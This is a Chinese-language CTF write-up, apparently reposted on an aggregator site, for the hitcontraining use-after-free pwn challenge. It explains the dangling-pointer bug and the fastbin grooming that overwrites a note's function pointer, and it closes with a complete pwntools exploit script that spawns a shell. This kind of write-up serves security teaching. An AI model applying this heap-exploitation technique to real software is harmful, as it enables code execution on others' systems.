栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

【CTF】【PWN】【UAF】【萌新友好向wp】hitcontraining

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

【CTF】【PWN】【UAF】【萌新友好向wp】hitcontraining

因为本人也是个菜鸡,这道题的反编译又很阴间,所以我花了比较长的时间读反编译代码,也是一步一步理解的整个过程,感觉有一些收获,所以就想写一个比较详细的wp,个人觉得是我看到的最详细的wp了。
请♂享♂用♂我♂吧

这是add函数,add一次会malloc两个chunk。
同时要注意,这里的notelist是一个二维数组。notelist[i]表示的其实是notelist[i][0](八个字节).后面还有一个notelist[i][1]。
我们看
notelist[i],他被赋值为print_note_content这个地址的函数。
notelist[i][1]才是真正存放chunk的content的地方。
为什么要把notelist[i]赋值为print_note_content这个地址的函数呢?
下面这个函数是print_note函数

可以发现,这个函数把
notelist[v2]作为函数调用,后面的notelist[v2]则是这个函数的参数。这个函数就是

打印一个chunk的content。
下面就是delete_note的代码

可以看到,释放一个note需要两个free,一个free掉notelist[i][0]一个free掉notelist[i][1]。但是这里free之后没有对指针进行置NULL操作,所以存在Use After Free漏洞。
前面的逆向分析有点长,但是我觉得是有必要的。

接下来开始漏洞的分析。
我们之前已经说过了,一个note分为两个字段,notelist[i][0]和notelist[i][1].我们把他们命名为put段和content段。
如果我们把一个note的put段变成magic函数

那么我们在调用菜单里的print_note函数的时候,是不是相当于调用了system(’/bin/sh’)呢?当时是的。但是因为我们只能对content部分进行操作,无法对put部分进行操作,所以我们要想办法,操作put段

接下来是漏洞利用过程:
申请note0(大小为0x40):包括put0和content0
申请note1 (大小为0x40) :包括put1和content1
释放note1:包括free content1 和free put1
释放note0:包括free content0 和free put0

重点!!!!!!!由于put段跟content段的大小是不同的,所以他们是在bin里面是两条链:如果你申请的chunk大小是0x8,那么是从put的那条链申请。如果你申请的chunk大小是0x40,那么就是从content的那条链申请。

动用你聪明的小脑袋瓜想一想,我们要申请到put段,那么我们下面的payload大小应该设置为多少呢?
当然是0x8啦

于是最后的操作如下:
申请note2(大小为0x8):则会申请一个put2一个content2.由于put2和content2大小都为0x8,所以都会从put那条链上面申请。
所以,put2申请到的是put0的位置,content2申请到的是put1的位置。

很明显了,我们往content2里面填入magic的地址,不就相当于往note1的put1里填入了magic?
那么我们在调用print_note(1)的时候,不就是调用了magic函数吗?
结束
代码如下

from pwn import *
from LibcSearcher import *


#r=remote('node4.buuoj.cn','28300')
r=process('./a')
elf=ELF('./a')
context.log_level = 'debug'
libc = ELF("./libc-2.23.so")
#context.terminal = ['tmux','splitw','-h']

shell_addr=0x8048945

def add(size,content):
    r.recvuntil("Your choice :")
    r.sendline("1")
    r.recvuntil("Note size :")
    r.sendline(str(size))
    r.recvuntil("Content :")
    r.sendline(str(content))

def dele(idx):
    r.recvuntil("Your choice :")
    r.sendline("2")
    r.recvuntil("Index :")
    r.sendline(str(idx))

def pri(idx):
    r.recvuntil("Your choice :")
    r.sendline("3")
    r.recvuntil("Index :")
    r.sendline(str(idx))

add(0x40,'a'*10)
gdb.attach(r)
add(0x40,'b'*4)
dele(1)
dele(0)
add(0x8,p32(shell_addr))
pri(1)
r.interactive()
转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/307847.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号